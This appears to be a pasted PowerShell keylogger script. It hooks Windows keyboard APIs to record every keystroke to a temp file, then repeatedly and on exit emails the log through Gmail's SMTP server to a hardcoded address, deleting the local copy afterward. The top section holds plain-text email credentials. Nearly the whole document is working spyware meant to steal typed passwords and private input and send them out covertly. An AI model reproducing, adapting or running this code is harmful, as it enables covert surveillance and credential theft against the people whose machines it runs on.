· 6 years ago · Feb 21, 2020, 07:26 PM
1# Edit only this section!
2$TimeToRun = 2
3$From = "srecko10001@mail.com"
4$Pass = "SVa3y4rs"
5$To = "srecko10001@mail.com"
6$Subject = "Keylogger Results"
7$body = "Keylogger Results"
8$SMTPServer = "smtp.mail.com"
9$SMTPPort = "587"
10$credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
11
12$SMTPServer = 'smtp.gmail.com'
13$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
14$SMTPInfo.EnableSsl = $true
15$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('srecko10001@gmail.com', 'SVa3y4rs')
16$ReportEmail = New-Object System.Net.Mail.MailMessage
17$ReportEmail.From = 'srecko10001@gmail.com'
18$ReportEmail.To.Add('srecko10001@gmail.com')
19$ReportEmail.Subject = 'Keylogger - ' + [System.Net.Dns]::GetHostByName(($env:computerName)).HostName
20############################
21
22#requires -Version 2
23function Start-KeyLogger($Path = "$env:temp\keylogger.txt") {
24 <#
25 .DESCRIPTION
26 By accessing the Windows low-level API functions, a script can constantly
27 monitor the keyboard for keypresses and log these to a file. This effectively produces a keylogger.
28 Run the function Start-Keylogger to start logging key presses. Once you
29 stop the script by pressing CTRL+C, the collected key presses are displayed
30 .NOTES
31 http://powershell.com/cs/blogs/tips/archive/2015/12/09/creating-simple-keylogger.aspx
32 #>
33 # Signatures for API Calls
34 $signatures = @'
35[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
36public static extern short GetAsyncKeyState(int virtualKeyCode);
37[DllImport("user32.dll", CharSet=CharSet.Auto)]
38public static extern int GetKeyboardState(byte[] keystate);
39[DllImport("user32.dll", CharSet=CharSet.Auto)]
40public static extern int MapVirtualKey(uint uCode, int uMapType);
41[DllImport("user32.dll", CharSet=CharSet.Auto)]
42public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
43'@
44
45 # load signatures and make members available
46 $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
47
48 # create output file
49 $null = New-Item -Path $Path -ItemType File -Force
50 $count = 0
51 $mult = 1000
52
53 try {
54 Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red
55
56 # create endless loop. When user presses CTRL+C, finally-block
57 # executes and shows the collected key presses
58 while ($true) {
59 Start-Sleep -Milliseconds 40
60 $count = $count + 1
61 if ($count -eq $mult){
62 $ReportEmail.Attachments.Add("$ENV:temp\keylogger.txt");$SMTPInfo.Send($ReportEmail);sleep 0
63 $mult = $mult + 1000}
64 # scan all ASCII codes above 8
65 for ($ascii = 9; $ascii -le 254; $ascii++) {
66 # get current key state
67 $state = $API::GetAsyncKeyState($ascii)
68
69 # is key pressed?
70 if ($state -eq -32767) {
71 $null = [console]::CapsLock
72
73 # translate scan code to real code
74 $virtualKey = $API::MapVirtualKey($ascii, 3)
75
76 # get keyboard state for virtual keys
77 $kbstate = New-Object -TypeName Byte[] -ArgumentList 256
78 $checkkbstate = $API::GetKeyboardState($kbstate)
79
80 # prepare a StringBuilder to receive input key
81 $mychar = New-Object -TypeName System.Text.StringBuilder
82
83 # translate virtual key
84 $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
85
86 if ($success) {
87 # add key to logger file
88 [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
89 }
90 }
91 }
92 }
93 }
94 finally
95 {
96 # open logger file in Notepad
97 $ReportEmail.Attachments.Add("$ENV:temp\keylogger.txt");$SMTPInfo.Send($ReportEmail);sleep 0
98 Remove-Item -Path $Path -force
99 exit 1
100 }
101}
102
103# records all key presses until script is aborted by pressing CTRL+C
104# will then open the file with collected key codes
105Start-KeyLogger